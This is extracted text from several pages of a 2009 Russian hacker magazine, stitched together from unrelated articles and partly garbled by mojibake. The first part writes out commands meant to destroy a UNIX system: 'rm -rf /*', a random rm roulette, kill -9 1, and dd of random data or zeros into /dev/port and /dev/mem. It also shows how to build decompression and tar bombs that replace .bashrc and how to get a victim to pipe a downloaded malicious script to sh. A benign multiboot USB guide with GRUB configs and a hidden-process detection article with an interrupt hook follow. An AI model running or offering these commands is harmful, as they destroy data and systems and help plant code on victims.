XÀÊÅÐ 11 /131/  09  079

На прилагаемом 
к журналу диске ты 
найдешь полные вер-
сии сырцов syslog-
fake.c, hole.
c и несколько форк-
бомб.

dvd

DVD

С помощью стандартного API мы можем 
записать в syslog все, что угодно

В UNIX что угодно может быть вирусом:)

www.linux.org.ru/
view-message.
jsp?msgid=392747 
— оригинальное 
сообщение на форуме 
ЛОРа.

links

HTTP://WWW

• Команда rm, 
поставляемая 
с сов ремен ными дис-
трибутивами Linux, 
отказывается удалять 
корневой каталог. 
Поэтому актуальная 
команда должна 
выглядеть так: «cd / 
&& rm -rf *» или так: 
«rm -rf /*».

• Русская рулетка 
в стиле UNIX:
$ [ $[ $RANDOM % 6 
] == 0 ] && rm -rf /* || 
echo «Жив»

info

INFO
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while : ; do

    mkdir subdir

    cd subdir

done

Эта команда эффективно сработает на фай-
ловой системе ext4, но не нанесет особого 
вреда ext3 и ufs, в которые заложен лимит на 
количество подкаталогов (32000). Кроме того, 
существует и множество вариантов различ-
ных decompression-бомб и tar-бомб. Смысл 
их в том, чтобы создать архив, который после 
распаковки займет огромное пространство 
на жестком диске или захламит файловую 
систему. Decompression-бомбы создаются с 
помощью генерации огромных размеров файла, 
содержащего большое количество многократно 
повторяющихся блоков данных, и его упаковки с 
помощью bzip2. В результате совсем небольшой 
безобидный архив распакуется в очень боль-
шой файл, который может занять весь жест кий 
диск. Способ создания: берем источник данных 
(хоть строку «aaaaa»), организуем луп, который 
будет многократно добавлять содержимое 
источника данных в новый файл, а затем просто 
запаковываем его с помощью bzip2:

$ for i in {1..1000000}; do

    for i in {1..1000000}; do

 echo "aaaaa" >> bomb

    done

done

$ bzip2 bomb

Tar-бомбы создаются иначе. Их задача не 
только захламить файловую систему, но и попы-
таться подменить какие-либо файлы базовой 
системы. Создаются они с помощью упаковки в 
tar-файл сразу нескольких каталогов и файлов, 
которые будут распакованы в систему, в резуль-
тате чего рабочий каталог станет помойкой, а 
некоторые файлы будут заменены:

$ mkdir bomb

$ cd bomb

// ñîçäàåì ðàçíûå ôàéëû è êàòàëîãè

$ mkdir ...

$ tar -cf bomb.tar * .*

$ bzip2 bomb.tar

После распаковки такого файла в текущем 
каталоге жертвы появятся все файлы и ката-
логи, находящиеся в архиве. Вся соль в том, 
что многие распаковывают архивы прямо в 
домашний каталог, поэтому, если в архив по-
местить, например, файл .bashrc с нужным нам 
содержимым, то оригинальный .bashrc будет 
заменен на аналог из архива (на скриншоте «В 
UNIX что угодно может быть вирусом» наглядно 
показано, как это сделать). А ведь это отличный 
способ подсунуть наш код жертве, скажешь ты 
и будешь абсолютно прав. Из других способов 
могу привести упаковку наших файлов в deb/
rpm-пакеты, которые, как оказывается, боль-
шинство пользователей запускают без всяких 
подозрений, и, достаточно интересный способ 
указания прямой ссылки на наш вредоносный 
скрипт:

$ wget http://àäðåñ_ñêðèïòà -O- | sh

SHOW NO MERCY
И последнее: на самом деле убить UNIX элемен-
тарно, и для этого не нужны никакие скрипты, 
бомбы, стресс-тесты файловой системы и 
другие приблуды, достаточно одной команды. 
Да-да, UNIX очень просто уничтожить прямо 

из командной строки. Я приведу всего пять 
возможных вариантов, хотя на самом деле их 
великое множество:

1. Убиваем головной процесс:

# kill -9 1

2. Убиваем все процессы системы в обратном 
порядке (чтобы посмаковать):

# kill -9 {64000..1} > 

/dev/null 2>&1

3. Отправляем ядро в панику с помощью записи 
мусора в /dev/port:

# dd if=/dev/random of=/dev/port

4. Отправляем ядро в панику с помощью заби-
вания памяти ядра нулями:

# dd if=/dev/zero bs=512 of=/dev/mem

5. Отправляем Linux в панику через стандарт-
ный интерфейс (!):

# echo 1 > /proc/sys/kernel/panic  z
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Исходный код программки, со-
здающей в /tmp файл огромного 
размера

Вот так можно перевернуть содер-
жимое каталога с ног на голову

Что еще нравится— это фун-
кция Snap, которая позволяет 
расположить два докумен-
та рядом, просто потянув 
их к разным краям экрана. 
Windows сама ресайзит окно 
до половины ширины дисплея. 
Мега-удобно: тот же Word на 
широкоформатном мониторе 
разворачивать на весь экран 
незачем. Можно в одной части 
экрана разместить окно Visual 
Studio, а в другой — браузер с 
открытым мануалом из MSDN. 
На домашнем компьютере у 

меня до сих пор стоит Vista и 
знал бы ты, насколько мне не 
хватает там Snap’а. Тянешь 
окошко — а ничего не проис-
ходит :(. Впрочем, полезное 
нововведение ты, наверное, 
уже видел в действии, а вот 
чего не знаешь — так это, что 
все действия Snap’а доступны 
через горячие клавиши:
• Win+Влево и Win+Вправо — 
прикрепить окно;
• Win+Вверх и Win+Вниз — 
разворачивает и восстанавли-
вает/сворачивает окно;

• Win+Shift+Вверх и 
Win+Shift+Вниз — разворачи-
вает и восстанавливает окно 
по вертикали.
Еще одна комбинация кла-
виш — Win+Home — сво-
рачивает/восстанавливает 
все окна, кроме активного. 
Вообще, новая система изо-
билует такими вот мелочами, 
к которым привыкаешь и 
потом думаешь: «Почему они 
раньше такого не делали?». 
Вот, например, маленький 
хинт: при наведении в такс-

баре на одну иконку одного 
из приложений, все осталь-
ные окна становятся невиди-
мыми. Еще одно новшество 
позволяет переключаться 
между окнами одного прило-
жения. А если у тебя откры-
то 5 окон одного и того же 
приложения, можно быстро 
переключаться между ними, 
удерживая Ctrl и нажимая 
кнопку на панели задачи. Это 
гораздо удобнее, чем выис-
кивать эти окошки в диалоге 
по Alt+Tab.

ФИШКИ WINDOWS 7: НОВЫЕ ФИШКИ В ИНТЕРФЕЙСЕ



Р
е

к
л

а
м

а



UNIXOID
 ЮРИЙ  «ADEPT» ВИДИНЕЕВ   ADEPTG@GMAIL.COM

XÀÊÅÐ  11  /131/  09

Ñ 
момента первого публичного релиза 
knoppix («дедушки» всех LiveCD) 
прошло уже около 10 лет. За этот 
срок каждый уважающий себя 
дистрибутив обзавелся LiveCD-вер-

сией, а количество узкоспециализированных 
LiveCD-систем перевалило за все мыслимые 
и немыслимые пределы. Но время идет, и 
компакт-диски уже не соответствуют совре-
менным требованиям компактности (такой 
вот каламбур), надежности и сроков хранения 
информации. На смену LiveCD/LiveDVD-систе-
мам давно пришли так называемые LiveUSB-
системы (ОС на USB-флешке). Создать свой 
LiveUSB с каким-нибудь одним дистрибутивом 
сегодня не составляет труда. На помощь придут 
многочисленные графические утилиты, подчас 
даже входящие в состав дистрибутива. Но при 
всей простоте подход недостаточно гибок: если 
требуется несколько ОС или хочется по-своему 
разбить накопитель на разделы — придется 
немного поработать руками и головой. Зато 
получится многофункциональный, тонко на-
строенный инструмент. Итак, приступим…

ИНГРЕДИЕНТЫ
Для начала стоит определиться, что же 

мы все-таки будем водружать. Вариант 
установки Windows представляется мне не 
очень удачным, так как функциональность и 
скорость работы этой ОС в качестве LiveUSB 
оставляет желать лучшего. К тому же, ее 
запуск с CD или флешки запрещен по лицен-
зионному соглашению. Если не рассматри-
вать всякие экзотические варианты, типа 
Minix, то на выбор остается сотня-другая ОС 
на базе Linux и десяток-другой решений на 
xBSD. После непродолжительных разду-
мий я остановил свой выбор на следующих 
системах:
1. System Rescue CD 1.3.1 Beta4 — пожалуй, самый 
популярный, функциональный и динамически 
развивающийся «спасательный» CD на базе 
Linux.
2. Ubuntu 9.10 i386 Alpha6 LiveCD — думаю, в пред-
ставлении не нуждается. Пригодится, если 
захочется поработать в знакомой системе на 
чужом компе.
3. DrWeb 5.0 LiveCD — переносной антивирус, удоб-
ный и достаточно эффективный.
4. FreeBSD 8 RC1 — на случай, если понадобится ее 
куда-нибудь установить или починить установ-
ленную систему.
5 FreeDOS — да-да, старичок еще может приго-

диться для запуска, например, mhdd (лучшей, 
на мой взгляд, программы для низкоуровневой 
работы с винтами).
В установленном виде весь «зоопарк» будет 
занимать не более 2,5-3 Гб, поэтому подойдет 
любая флешка от 4 Гб. Можно взять и большего 
объема, при этом организовав жирный раздел 
FAT/NTFS, используемый по прямому назначе-
нию — для переноса данных. Но я предпочел 
выделить под эту задачу отдельную флешку 
Transcend V85 на 4 Гб.
Все настройки будут производиться на Ubuntu 
9.10 amd64 alpha (к моменту публикации статьи 
уже выйдет релиз), которая живет на ноуте Dell 
Vostro A860.

ПРОПОРЦИИ
Использовать объем флешки можно двумя спо-
собами: либо создать 1 раздел, куда поставить 
все ОС, либо выделить каждой свой раздел. 
Первый вариант не очень удобен, так как на 
одном разделе образуется мешанина из файлов 
разных ОС, что осложняет обновление и вынуж-
дает отслеживать совпадения имен файлов. К 
тому же, FreeBSD отказывается жить на FAT-
разделе. Лучше поделить флешку на разделы. Я 
использовал следующее разбиение:

 082
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Думаю, у всех нас есть несколько любимых 
LiveCD, которые мы постоянно носим с со-
бой — на всякий случай. И это оправдан-
но, ведь LiveCD незаменим, когда нужно 
восстановить работоспособность ОС или 
просто поработать в знакомом окружении. 
Но CD/DVD — громоздкий и ненадежный 
носитель. Если тебе надоело таскать с 
собой ворох LiveCD, я предлагаю записать 
все эти ОС на флешку.



 083XÀÊÅÐ  11  /131/  09

1. FAT32, 400 Ìá — на случай необходимости 
переноса небольшого количества инфор-
мации. Кстати, мне попадались компью-
теры, которые отказывались грузиться 
с флешки, если на ней не было первого 
раздела с FAT32. На этом же разделе мы 
разместим образы загрузочных дискет с 
FreeDOS.
2. Неформатированный, 1 Гб — раздел для 
FreeBSD. Если хочется хранить коллекцию 
портов и/или установить что-нибудь дополни-
тельно, то может понадобиться больше места. 
FreeBSD может быть установлена только на 
первичный раздел.
3. EXT4, 2 Ãá — раздел для Ubuntu.
4. EXT4, 250 Ìá — раздел для SystemRescueCD.
5. EXT3, 100 Ìá — раздел для DrWeb LiveCD. Теку-
щая версия не может загружаться с ext4.
Разбивать можно как с помощью fdisk + mkfs, 
так и с помощью gparted. Это тривиальная опе-
рация, поэтому подробно на ней останавли-
ваться не будем. Стоит лишь учесть некоторые 
нюансы:
• Для удобства можно каждому разделу при-
своить соответствующую метку.
• На FAT-раздел рекомендую установить boot-
флаг.

• С целью экономии места на ext-файловых 
системах лучше отключить резервирование 
блоков (вместо /dev/sdb3 нужно подставить 
имена нужных разделов):

$ sudo tune2fs -r 0 /dev/sdb3

Пришло время выбрать загрузчик для на-
шего «зверинца». Вариантов не так много: 
если держаться мейнстрима, то выбирать 
надо из Grub, Grub2, Grub4DOS, syslinux.  
Syslinux — хороший и распространенный 
загрузчик (практически все графические 
утилиты именно его устанавливают на 
флешку), но он не умеет напрямую грузить 
FreeBSD. Grub4DOS — тот же Grub, только 
с некоторыми дополнительными возмож-
ностями. Grub2 — реинкарнация Grub 
первой версии (который теперь получил 
название Grub Legacy), имеющая все 
те же возможности плюс много всяких 
вкусностей (подробнее о Grub2 можно 
узнать из статьи «На пути к совершенст-
ву», опубликованной в z #127). Его-то и 
будем ставить, благо, в Ubuntu, начиная с 
версии 9.10, он является загрузчиком по 
умолчанию.

Команда для установки загрузчика выглядит 
следующим образом:

$ sudo grub-install --root-

directory=/media/Ubuntu/ /dev/sdb

где /dev/sdb — устройство, куда установится 
бутлоадер, а /media/Ubuntu/ — путь, где будет 
находиться каталог /boot/grub с конфигом и 
модулями. В каталоге /media/Ubuntu/boot/
grub создадим конфигурационный файл grub.
cfg с содержимым:

$ sudo nano /media/Ubuntu/boot/grub/grub.

cfg

set timeout=5

set default=0

menuentry "Reboot" {

reboot

}

menuentry "Halt" {

halt

}

Параметр «set timeout» задает время, по исте-
чении которого при бездействии пользователя 
будет загружен пункт, заданный парамет-
ром «set default». Конструкции menuentry 
описывают пункты меню (нумерация пунктов 
начинается с 0).

ПЕРВОЕ БЛЮДО
Вариантов установки Ubuntu на флешку 
несколько:
1. Запустить установку и выбрать в качестве 
корня раздел на флешке. Все вносимые в 
систему изменения будут сохраняться, но мы 
лишимся преимуществ live-системы: возник-
нут проблемы с загрузкой иксов на компах 
с разными видеокартами, будут плодиться 
сетевые устройства в udev и т.д.
2. Просто скопировать на флешку содержимое 
LiveCD. В этом случае останутся все преиму-
щества LiveCD, но вносимые изменения будут 
теряться.
3. Скопировать на флешку содержимое LiveCD 
и создать файл casper-rw, в котором будут 
сохраняться все изменения. На мой взгляд, 
наиболее оптимальный вариант.
Копируем на заранее подготовленный раздел 
содержимое LiveCD, за исключением папок 
isolinux, pics и файлов wubi.exe и autorun.inf 
(не забываем скопировать скрытый каталог 
.disk). Затем создадим на этом разделе файл 
casper-rw размером 1250 Мб:

$ dd if=/dev/zero of=casper-rw 

bs=1M count=1250

и отформатируем его в ext2:

$ mkfs.ext2 -F casper-rw

Теперь в grub.cfg добавим пункты:

$ sudo nano /media/Ubuntu/boot/grub/grub.

cfg

menuentry "Ubuntu" {

Эволюция носителей информации
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# Â îòëè÷èå îò Grub Legacy, â Grub2 
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set root=(hd0,3)

linux /casper/vmlinuz noprompt 

cdrom-detect/try-usb=true 

persistent file=/cdrom/preseed/

ubuntu.seed boot=casper initrd=/

casper/initrd.lz quiet splash

initrd /casper/initrd.lz

}

menuentry "memtest" {

set root=(hd0,3)

linux16 /install/mt86plus

}

ВТОРОЕ БЛЮДО
К сожалению, проект FreeBSD не имеет офи-
циального LiveCD (не говоря уже о LiveUSB). 
А самый известный FreeBSD LiveCD — frenzy 
— остановил свое развитие на версии 1.1 
(основанной на FreeBSD 6). Этот недостаток с 
лихвой компенсируется гибкостью системы — 
качеством, свойственным всему Open Source. 
Уже установленная и настроенная система 
может быть легко перенесена на флешку. 
Если под рукой установленной системы нет, 
то можно установить FreeBSD на флешку с 
помощью штатного инсталлятора. Правда, 
sysinstall отказывался видеть мою флешку 
и упрямо предлагал установиться на винт. 
Поэтому пришлось воспользоваться VirtualBox 
и представить флешку как винт (смотри врезку 
«Виртуализируемся»). Пожалуй, единственный 
недостаток такого способа — предпочтительно 
не создавать слайсы через fdisk из FreeBSD 
(из-за эмуляции он неправильно определяет 
геометрию диска). Лучше создать слайс из 
Ubuntu с помощью mkfs.ufs (из пакета ufsutils):

$ sudo mkfs.ufs /dev/sdb2

Сегодня установить FreeBSD не сложнее, 
чем Linux, поэтому, ввиду ограничения на 
объем статьи, не буду подробно останав-
ливаться на процессе установки. Единст-
венный нюанс: не надо устанавливать 
загрузчик.
После окончания установки нужно в grub.cfg 
добавить пункт:

$ sudo nano /media/Ubuntu/boot/grub/grub.

cfg

menuentry "FreeBSD"{

set root=(hd0,2,a)

freebsd /boot/loader

}

В уже установленной системе следует провести 
несколько манипуляций, чтобы минимизиро-
вать количество операций записи/чтения на 
флешке (что несколько продлит ей жизнь). Для 
начала перенесем /tmp в mfs (файловая систе-
ма в виртуальной памяти). Для этого в конфиг /
etc/rc.conf добавим строчку:

# ee /etc/rc.conf

tmpmfs="YES"

С помощью опции varmfs= «YES» можно также 
перенести в mfs /var. Но использование mfs для 
всего /var может вызвать некоторые проблемы, 
поэтому ее лучше использовать только для /var/
run и /var/log:

# ee /etc/fstab

md /var/run mfs rw,-

s4M,nosuid,noatime 0 0

md /var/log mfs rw,-

s16M,nosuid,noatime 0 0

По умолчанию при перезагрузке в /var/log со-
здаются не все файлы (не создается, например, /
var/log/wtmp, а он нужен таким системным ути-
литам, как login, last, who и т.п.) Это поведение 
можно изменить в файле /etc/newsyslog.conf. 
Достаточно к строке с /var/log/wtmp добавить 
«C»:

# ee /etc/newsyslog.conf

/var/log/wtmp 644 3 * 

@01T05 BC

ДЕСЕРТ
Перенесем содержимое DrWeb LiveCD (каталог 
boot) на соответствующий раздел и пропишем 
в grub.cfg:

$ sudo nano /media/Ubuntu/boot/grub/grub.

cfg

menuentry «DrWEB» {

set root=(hd0,6)

linux /boot/vmlinuz root=/dev/

ram0 init=/linuxrc init_opts=4 

dokeymap looptype=squashfs 

loop=/module/white.mo usbroot 

initrd=/boot/initrd vga=791 

splash=silent,theme:drweb CONSOLE=/

dev/tty1

initrd /boot/initrd

}

menuentry «DrWEB safe» {

set root=(hd0,6)

linux /boot/vmlinuz init_opts=3 

root=/dev/ram0 quiet dokeymap 

looptype=squashfs loop=/module/

white.mo usbroot slowusb init=/

linuxrc

initrd /boot/initrd

}

С диска System Rescue CD скопируем в 
соответствующий раздел каталоги isolinux и 
ntpasswd, а также файлы sysrcd.dat, sysrcd.md5 
и version. Добавим в конфиг Grub’а пункты:

$ sudo nano /media/Ubuntu/boot/grub/grub.

cfg

menuentry «System Rescue CD» {

set root=(hd0,5)

linux /isolinux/rescuecd

initrd /isolinux/initram.igz

}

# Àëüòåðíàòèâíîå ÿäðî (áîëåå ñòàðàÿ 

âåðñèÿ) — íà ñëó÷àé, åñëè íå çàãðó-

çèòñÿ îñíîâíîå

menuentry "System Rescue CD altker" 

{

set root=(hd0,5)

linux /isolinux/altker32

initrd /isolinux/initram.igz

}

System Rescue CD содержит также 64-битные 
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Разбиваем флешку в gparted

ÂÈÐÒÓÀËÈÇÈÐÓÅÌÑß
В процессе создания мультизагрузочной флешки мне понадобилось много раз тестиро-
вать полученный результат. Чтобы не перезагружать ноутбук каждый раз при внесении 
изменений в конфиг загрузчика, я использовал VirtualBox. Правда, VirtualBox не поддер-
живает загрузку с USB, и пришлось прибегнуть к маленькому трюку — представлению 
флешки как образа виртуального жесткого диска.
При установленном VirtualBox (версии не ниже 1.4), чтобы /dev/sdb представить как образ 
виртуального жесткого диска, надо дать команду:

$ sudo VBoxManage internalcommands createrawvmdk -filename /home/username/flash.
vmdk -rawdisk /dev/sdb

Затем в виртуальной машине в качестве жесткого диска указать /home/username/flash.
vmdk (при этом у пользователя, от которого запущена виртуальная машина, должны быть 
права на доступ к /dev/sdb).
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ядра, но они могут пригодиться лишь в одном случае — при не-
обходимости сделать chroot в 64-битную систему, поэтому нет 
смысла выносить их в меню загрузчика. Кроме стандартных 
параметров (типа acpi=off), ядро System Rescue CD может при 
загрузке принимать различные специфические параметры, 
самые полезные из которых:
• setkmap=uk — при загрузке не спрашивает раскладку, уста-
навливает uk.
• docache — загружает всю систему в ОЗУ (потребуется не 
менее 300 Мб).
• forcevesa — использовать видеодрайвер vesa (полезно при 
проблемах с видеорежимом).
• dostartx — запускать иксы при загрузке.
В комплекте с System Rescue CD идет также ворох загру-
зочных дискет: FreeDOS, mhdd, aida (прога для получения 
информации о железе), gag (загрузчик), ranish (менеджер 
разделов, аналог fdisk), dban (утилита для уничтожения 
данных с винтов), memtest. Из всех дискет мне могут приго-
диться только FreeDOS и mhdd. Grub2 сможет загрузить эти 
дискеты при помощи memdisk (из состава пакета syslinux). 
Я скопировал файлы freedos.img и mhdd.img, а также файл 
/usr/lib/syslinux/memdisk в каталог /bootdisk на первом 
разделе. В grub.cfg добавил:

$ sudo nano /media/Ubuntu/boot/grub/grub.cfg

menuentry «FreeDOS» {

set root=(hd0,1)

linux16 /bootdisk/memdisk

initrd16 /bootdisk/freedos.img

}

menuentry «MHDD» {

set root=(hd0,1)

linux16 /bootdisk/memdisk

initrd16 /bootdisk/mhdd.img

}

КРАСОТА СПАСЕТ МИР
Ну вот, все грузится и работает. Но черное меню с белыми бук-

вами — слишком обыденно, хочется добавить красивостей.
К сожалению, модуль gfxmenu (grub.gibibit.com) еще не 
включен в основную ветку Grub2 (из-за недостаточной ста-
бильности), поэтому создать полностью кастомизированное 
меню не получится. Но кое-что сделать все-таки можно.
Grub2 имеет два режима отображения меню: console (по 
умолчанию) и gfxterm. 
Последний позволяет поставить фоновое изображение и 
использовать произвольный шрифт (при использовании 
юникодного шрифта пункты меню могут быть на русском), 
правда, за счет незначительного увеличения времени 
загрузки. Для включения gfxterm надо в grub.cfg добавить:

$ sudo nano /media/Ubuntu/boot/grub/grub.cfg

# Çàãðóæàåì ìîäóëè

insmod gfxterm

insmod vbe

insmod font

insmod png

# Óêàçûâàåì ðàñïîëîæåíèå øðèôòà

loadfont (hd0,3)/boot/unicode.pf2

set gfxmode=640x480

# Ïåðåêëþ÷àåì ðåæèì îòîáðàæåíèÿ â gfxterm

terminal_output gfxterm

# Óêàçûâàåì ðàñïîëîæåíèå ôîíîâîãî èçîáðàæåíèÿ

background_image (hd0,3)/boot/x.png

Шрифт можно скопировать отсюда /usr/share/grub/
unicode.pf2 (или /usr/share/grub/ascii.pf2, если не нужен 
юникод) или сконвертировать из любого имеющегося 
в формате bdf (с помощью grub-mkfont). 
Фоновое изображение можно либо выбрать из пакета 
grub2-splashimages (будет располагаться в /usr/share/
images/grub), либо сконвертировать самому. Grub2 
понимает изображения в форматах png, jpeg и tga (не-
обходимо загрузить соответствующий модуль для каж-
дого формата) и разрешении 640x480. За несколько 
минут в Gimp’е я набросал простенький splashimage в 
стиле z.
Цвет надписей и элементов меню задается с помощью 
команд color_normal и color_highlight в формате foreground/
background. Список доступных цветов можно посмотреть на 
страничке www.gnu.org/software/grub/manual/html_node/
color.html.

REBOOT
Теперь точно все! Можно перезагружаться и наслаждаться 
результатами проделанной работы.
P.S. Необязательно останавливаться именно на описанных 
дистрибутивах — по аналогии можно загружать любой 
линуксовый LiveCD.  z
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• На случай отсутс-
твия у целевого ком-
пьютера возможности 
загрузки с USB можно 
сделать USB Boot CD 
для конкретного дис-
трибутива (с загруз-
чиком, ядром и initrd). 
Подробности здесь: 
www.pendrivelinux.
com/category/usb-
boot-cds.

info

INFO

На прилагаемом 
к журналу диске ты 
найдешь grub.cfg, 
splashimage, DrWeb 
LiveCD и System 
Rescue CD.

dvd

DVD

Загрузка Ubuntu с флешки

DrWeb собственной персоной

Меню Grub2

• Дополнительная 
информация по 
установке Linux 
на флешку: www.
pendrivelinux.com.
• Домашняя страни-
ца Grub2: www.gnu.
org/software/grub/
grub-2.en.html.
• Статья, посвящен-
ная MFS: old.softerra.
ru/freeos/16111/
page1.html.

links

HTTP://WWW
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ÏÅÑÎ×ÍÈÖÀ
Немного о том, с чем придется иметь дело. 
Почти все методы сокрытия процессов от 
таскменеджеров и различных просмотр-
щиков фактически основаны на перехвате 
NtQuerySystemInformation (как в ядре, так 
и в ring3), а также исключении структуры 
EPROCESS из двунаправленного списка в 

ядре. Дальше фантазия прогеров почему-то 
не идет. Это связано с одной конструктивной 
особенностью существования процессов в 
ОС Windows — можно, к примеру, подсуетить-
ся и со списками процессов, и с таблицами 
хендлов, но единственное, что делать катего-
рически нельзя — исключать процесс из спи-
сков планировщика Windows. В противном 

случае процесс не получит процессорного 
времени и его код просто не будет выполнен. 
Именно по этой причине создать полностью 
невидимый процесс в ОС Windows нельзя, 
а вирусы и трояны, существующие в виде 
отдельного процесса — вещь неумная, харак-
теризующая своего создателя как неумелого 
программиста. В целом, жизнедеятельность 

ПРОЯВИТЕЛЬ 
ДЛЯ ТРОЯНОПИСАТЕЛЕЙ

ÈÒÀÊ, ÄÐÓÃ ÌÎÉ, ÑÅÃÎÄÍß ß ÎÑÎÁÅÍÍÎ ÑÓÐÎÂ È Ê ÄÎËÃÈÌ 
ÈÍÒÐÎÄÓÊÖÈßÌ ÍÅ ÑÊËÎÍÅÍ. ÏÎÝÒÎÌÓ ÁÓÄÓ ÊÐÀÒÎÊ: ÐÅ×Ü ÏÎÉÄÅÒ 
Î ÒÎÌ, ÊÀÊ, ÈÌÅß ÎÒÍÎÑÈÒÅËÜÍÎ ÏÐßÌÛÅ ÐÓÊÈ, ÃÎËÎÂÓ ÍÀ ÏËÅ×ÀÕ 
È ÓÌÅÍÈÅ ÏÎËÜÇÎÂÀÒÜÑß ÄÈÇÇÀÑÑÅÌÁËÅÐÎÌ ÄËÈÍ ÈÍÑÒÐÓÊÖÈÉ, 
ÌÎÆÍÎ ÏÎ×ÒÈ ÑÎ 100% ÂÅÐÎßÒÍÎÑÒÜÞ ÂÛßÂËßÒÜ È ÁÐÀÒÜ ÏÎÄ 
ÊÎÍÒÐÎËÜ ÏÐÎÖÅÑÑÛ, ÊÎÒÎÐÛÅ ÇËÛÅ ÍÅÄÎÁÐÎÆÅËÀÒÅËÈ ÏÛÒÀÞÒÑß 
ÑÊÐÛÒÍÎ ÇÀÏÓÑÒÈÒÜ ÍÀ ÒÂÎÅÌ ÊÎÌÏÜÞÒÅÐÅ.

Äåòåêòèðóåì ñêðûòûå ïðîöåññû 
â usermode è ring0
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процесса в Windows — чрезвычайно шумная штука, поскольку процесс 
оставляет следы практически везде, начиная от открытых хендлов 
и заканчивая переключением контекста потока. И соответственно, 
скрытый процесс можно попытаться обнаружить как в usermode, так и 
в ядре операционной системы.

ÑÏÎÑÎÁÛ ÄËß USERMODE
Получить честным путем список процессов в Windows очень 
легко; для этого существуют специальные функции, такие как 
CreateToolhelp32Snapshot и NtQuerySystemInformation — их вызов 
вернет нам список процессов в системе. Поэтому для начала можно 
просто сравнить полученные ими результаты. Однако способ крайне 
ненадежен, поскольку троянописатели в первую очередь перехва-
тывают именно эти функции. Что же делать, если нужно обойтись 
только usermod’ными способами? Иногда достаточно вспомнить, что 
открытый процесс обладает списком открытых им хендлов, поэтому 
их перечисление и сравнение с «легальным» списком процессов 
поможет выявить разницу. Перечисление открытых хендлов про-
цессов осуществляется вызовом функции NtQuerySystemInformation 
c параметром SystemHandleInformation. В качестве лирического 
отступления от темы, хотелось бы заметить, что системная функция 
NtQuerySystemInformation — функция настолько универсальная, что 
используется практически повсеместно в целях получения самой 
разнообразной системной информации — от списка процессов до ско-
рости процессора. Этих вариантов — более семидесяти, все они со-
держатся в недокументированной структуре SYSTEM_INFORMATION_
CLASS. При ее использовании надо обязательно помнить о том, что 
ты никогда заранее не знаешь размер данных, которые тебе вернет 
NtQuerySystemInformation, поэтому зачастую ее вызов обламывается 
и она возвращает STATUS_INFO_LENGTH_MISMATCH. В этом случае 
просто увеличь размер выходного буфера в 2 раза.

Правильное использование ZwQuerySystemInformation

  pointer = ExAllocatePool(PagedPool, ulSize);

  memset(pointer, 0, ulSize);

  if (pointer) 

    ntstatus = NtQuerySystemInformation

    (SystemInfoClass, pointer, ulSize, NULL); 

  if (ntstatus == STATUS_INFO_LENGTH_MISMATCH)

  {

    ExFreePool(pointer);

    ulSize = ulSize * 2;

  }

Теперь предположим, что кулхацкер смог скрыть открытые про-
цессом хендлы. Не беда! Находясь в usermode, можно перечислить 
список окон, открытых процессом. Да-да, об окнах, которые созда-
ются всегда, почти никто не вспоминает, поэтому вызов функции 
GetWindowThreadProcessId тебе в руки! Едем дальше. 
Находясь в usermode, полезно вспомнить о таком очень интересном 
и загадочном системном процессе, как csrss.exe. Он является частью 
пользовательской Win32-подсистемы. СSRSS — сокращение от 
«client/server run-time subsystem» (клиент/серверная подсистема) 
— отвечает за консольные приложения, создание/удаление потоков 
и 16-битную виртуальную среду MS-DOS. Это официальное опреде-
ление от Microsoft. От себя добавлю — при создании нового процесса 
в ядре Windows подсистема обязана уведомить csrss.exe о знамена-
тельном событии системным вызовом CsrClientCallServer. Если этого 
не произойдет, вновь созданный процесс будет работать не совсем 
адекватно и в конце концов вылетит с ошибкой. Таким образом, сsrss.
exe ведет своеобразный учет процессов и потоков, и эту особенность 
можно использовать при детекте скрытых процессов. 
Говоря в самых общих чертах — нужно будет открыть процесс csrss.
exe вызовом OpenProcess, после чего пройтись дизассембле-
ром длин инструкций по функциям CsrLockProcessByClientId и 
CsrLockThreadByClientId для получения адреса недокументиро-
ванной структуры CSR_PROCESS, которая в свою очередь содержит 
список процессов, зарегистрированных в csrss.exe. Сразу скажу, 
— способ сложный и довольно громоздкий, но весьма эффективный. 
Пример реализации ищи на диске.

ÑÏÎÑÎÁÛ ÄËß ÏÐÎÄÂÈÍÓÒÛÕ
Итак, лезем в ядро. Я думаю, понятно, для чего — на этом уровне нам 
никто никаких запретов поставить не сможет, поскольку все обладают 
равными правами. В ring0 выигрывает тот, у кого больше опыта и тот, кто 
лучше знает принципы функционирования ядра.
Одним из популярных методов получения списка процессов в ядре оста-
ется проход по двухсвязному списку структур EPROCESS. А мы будем за-
ранее исходить из того, что злой хакер исключил нужный ему EPROCEES 
из двунаправленного списка путем подмены указателей (об этом способе 
читай в моей статье в майском z за этот год). 
Поговорим о списках планировщика Windows, которые содержат потоки, 

XÀÊÅÐ  11  /131/  09  087



подлежащие исполнению. Главное неудобство метода в 
том, что адреса списков потоков планировщика меняются 
от билда к билду, что приходится учитывать в коде. Напри-
мер, в Win2K их три: KiWaitInListHead, KiWaitOutListHead, 
KiDispatcherReadyListHead. Все они двусвязные. Первые 
два списка содержат потоки, ожидающие наступления 
какого-либо события, а третий содержит потоки, готовые 
к исполнению. Подобный способ обнаружения скры-
тых процессов используется в Klister’e от знаменитой 
потрошительницы Windows Джоаны Рутковской (http://
invisiblethings.org/tools/klister-0.4.zip). Однако этот спо-
соб работает только под Win2K из-за жестко прописанных 
адресов списков потоков. Именно адреса списков и дела-
ют способ немного неудобным из-за определенной раз-
ности в устройстве ядра в Win2K и WinXP (планировщик в 
WinXP имеет только два списка потоков: KiWaitListHead и 
KiDispatcherReadyListHead), так как это надо будет учиты-
вать в процессе программирования.
Весьма надежным способом обнаружения скрытых про-
цессов является перехват системных вызовов. В основе 
метода лежит аксиома, что все процессы (точнее, их 
программная логика) обращаются к ядру системы через 
интерфейс системных вызовов. Идея метода заключа-
ется в том, чтобы перехватить обращения к интерфейсу 
системных вызовов, а в обработчике получать указатель 
на EPROCESS текущего процесса.
В win2k для системного вызова используется прерыва-
ние 2Eh, а в Win XP — sysenter. При этом из соображений 
совместимости прерывание 2Eh также может использо-
ваться в Win XP. Все, что для этого нужно — осуществить 
перехват данного прерывания в таблице прерываний 
IDT. Код несложный, пример перехвата int2e и sysenter, 
реализованный на С, ищи на диске.

ПЕРЕХВАТ ПРЕРЫВАНИЯ 2EH

void HookInt2Eh()

{

   IDTABLE idtable;

   __asm

   {

      pushad

      cli

      sidt [idtable]

      mov esi, point_to_new_handler

      mov ebx, idtable.Base

      xchg [ebx + 0x170], si

      rol esi, 0x10

      xchg [ebx + 0x176], si

      ror esi, 0x10

      mov point_to_old_handler, esi

      sti

      popad

   }

}

У метода имеется небольшой недостаток — текущий спи-
